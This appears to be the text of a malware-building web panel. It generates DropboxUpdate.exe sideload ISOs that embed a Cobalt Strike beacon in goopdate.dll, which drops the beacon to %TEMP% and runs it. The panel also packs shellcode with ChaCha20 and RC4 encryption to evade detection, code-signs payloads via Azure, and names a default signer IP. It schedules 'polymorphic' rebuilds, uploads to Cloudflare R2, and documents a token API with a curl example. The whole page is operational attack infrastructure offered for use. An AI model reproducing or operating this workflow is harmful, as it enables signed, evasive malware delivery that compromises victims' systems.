ISO BUILDER

COBALT SIDELOAD · DROPBOX EMBED · R2 UPLOAD
{{ clock }}

⚙ SETTINGS

panel config
How long a successful API build stays cached before the next call rebuilds. Default 5.
Override the code-signer used during ISO builds. Leave both blank to use the built-in default (158.94.208.186:8686).
{{ signerResult.text }}
✓ saved

🔒 CHANGE PASSWORD

panel login
{{ changePw.msg }} {{ changePw.err }}

◉ CREATE NEW ISO

dropbox sideload · embedded cobalt beacon
Builds a DropboxUpdate.exe sideload ISO with the Cobalt Strike beacon embedded inside goopdate.dll. On run, the DLL writes the beacon to %TEMP%\ and executes it. Use packer wraps the beacon (chacha20 + rc4 string encrypt + section obfuscation). Sign signs both the beacon and goopdate.dll via Azure.
Name variables (replaced fresh on every build — great for rotation): {variable16} alnum · {variable10num} digits · {variable8alpha} letters · {variable8hex} hex. e.g. {variable16}.exe → random 16-char filename.
{{ p.hint }}
loaded: {{ binFileName }} ({{ binSize }} bytes)
required — raw CS beacon shellcode
loaded: {{ pdfFileName }} ({{ pdfSize }} bytes)
leave empty to use the built-in Level_Status.pdf
{{ isoOkText || '✓ built — download started' }} {{ isoError }}

⬢ PACK A BINARY

upload a .bin (shellcode) or .exe → packed standalone .exe
Upload a raw beacon .bin (shellcode) or a full .exe and it gets packed (ChaCha20 encrypt + RC4 string encryption + section obfuscation + entropy normalization) into a standalone .exe loader. .bin → in-process (mem) or drop-and-run (disk). .exe → drop-and-run wrapper (auto-detected). Output is always .exe.
{{ p.hint }}
loaded: {{ packerFileName }} ({{ packerFileSize }} bytes)
required — shellcode .bin or full .exe to pack
{{ packOkText || '✓ packed — download started' }} {{ packError }}

⛁ UPLOAD FILES

beacons, decoys, docs, any asset
Drop any file here (e.g. a Cobalt Strike .bin beacon or a decoy .pdf) and it's saved to your library. Then attach it from the Build tab.
{{ u.name }} {{ fmtBytes(u.size) }}
{{ libraryMsg }} {{ libraryErr }}

⛁ FILE LIBRARY

{{ savedFiles.length }} saved
{{ f.type || f.ext || 'file' }} {{ f.name }} {{ fmtBytes(f.size) }} ⬇
No files yet — upload above.

▤ SAVED TEMPLATES

{{ templates.length }} saved
Captures the current Build form (all fields + beacon + PDF) as a reusable preset. Load it back on the Build tab.
tpl
{{ t.name }} signedno-sign · packer execmem:{{ t.summary.execmem }} {{ t.summary.execution_mode }} {{ t.summary.arch }} · {{ t.has_pdf ? 'beacon+pdf' : 'beacon' }} | {{ t.summary.host_name || '?' }} | {{ t.summary.iso_name || t.summary.agent_name || '' }}
R2
No templates yet — save one from the Build tab.

◷ ACTIVE TASKS

{{ schedules.length }} scheduled
{{ s.enabled ? 'on' : 'off' }} {{ s.name }} R2 next {{ schedNext(s) }} {{ s.last_result || '—' }}
No active tasks — create one on the right.

＋ NEW SCHEDULED TASK

auto-rebuild on an interval
Rebuilds a fresh (polymorphic = unique) ISO from a template on an interval.
R2 key supports {variableN} vars + {isoname}. Blank = iso/<timestamped-name>.iso.

☁ CLOUDFLARE R2

auto-upload target
Enter bucket creds once; tasks with "Upload to R2" push the fresh ISO here (multipart upload + size/SHA-256 verify). Endpoint is auto-derived from Account ID.
{{ r2TestResult.text }}
endpoint: {{ r2.endpoint }}
✓ saved
{{ r2Error }}
{{ r2ListError }}
{{ r2Files.length }} file(s) in bucket
KeySizeLast modified
{{ f.key }} {{ fmtBytes(f.size) }} {{ f.last_modified ? f.last_modified.replace('T',' ').slice(0,19) : '' }}
Bucket is empty (no objects).

▣ BUILT ISOs

{{ buildsTotal }} total · page {{ buildsPage }}/{{ buildsTotalPages }}
iso {{ b.file }} {{ (b.size/1024).toFixed(0) }} KB {{ packedText(b) }} {{ signedText(b) }} {{ uploadBadgeText(b.upload.status) }} Download
page {{ buildsPage }} / {{ buildsTotalPages }} · {{ buildsTotal }} builds
No builds yet — create one on the Build tab.

⌘ BUILD API

token-authed · external scripts
A static bearer token lets external scripts trigger builds from a saved template over HTTPS. The token never changes on its own — it's generated once and persists across restarts. Rotate it only if it leaks.
{{ apiToken || 'loading…' }}
token hidden — click Show to reveal 48-char hex. Send it as an Authorization Bearer header, an X-API-Token header, a ?token= query param, or in the JSON request body.
✓ copied to clipboard
{{ rotateMsg }}
MethodPathPurpose
GET/api/iso/api/pingverify token (returns ok:true)
POST/api/iso/api/buildbuild a saved template by name/id
GET/api/iso/api/status?config=…read build status (no build)
GET/api/iso/api/download/:filedownload a built ISO
POST/api/iso/api/uploadupload a built ISO to R2
 
curl -X POST https://iso.deployhub.pro/api/iso/api/build \
            -H "Authorization: Bearer {{ apiToken || 'YOUR_TOKEN' }}" \
            -H "Content-Type: application/json" \
            -d '{"config":"beacon_v2","upload_r2":true}'
What POST /api/iso/api/build returns, by outcome.
StatusHTTPBody (key fields)Meaning
success 200 { ok: true, status: "success", config, file, size, signed, packed, download_url, upload } Build finished; ISO saved + download URL returned.
cached 200 { ok: true, status: "success", cached: true, ... } Fresh result already exists (within TTL) — no rebuild.
waited 200 { ok: true, status: "success", waited: true, ... } Joined an already-running build and waited for its result.
in progress 504 { ok: false, error: "build still in progress (timeout waiting)" } Build still running after the wait window — poll /api/iso/api/status.
failed (sign) 502 { ok: false, error, sign_failed: true } Build reached signing but the code-signer failed.
failed (build) 500 { ok: false, error, sign_failed: false } Build failed before signing (packer / other stage).
unauthorized 401 { ok: false, error: "invalid or missing token" } Bad / missing bearer token.
bad request 404 { ok: false, error: "config not found: " } Template name/id doesn't match a saved config.

☰ BUILD ACTIVITY

{{ activity.length }} attempts · newest first
{{ outcomeLabel(a.outcome) }} {{ a.kind }} HTTP {{ a.resp.code }} {{ a.resp.status }} {{ a.source || '—' }} {{ a.file }} {{ fmtLogTime(a.started_at || a.ts) }}
{{ s }}
{{ a.error }}
No build attempts yet — trigger a build (panel or token API) and its step-by-step progress will show here.
{{ buildInfo.file }}
{{ st.name }} {{ st.time }} {{ st.label }}
no step data (built before timing tracking)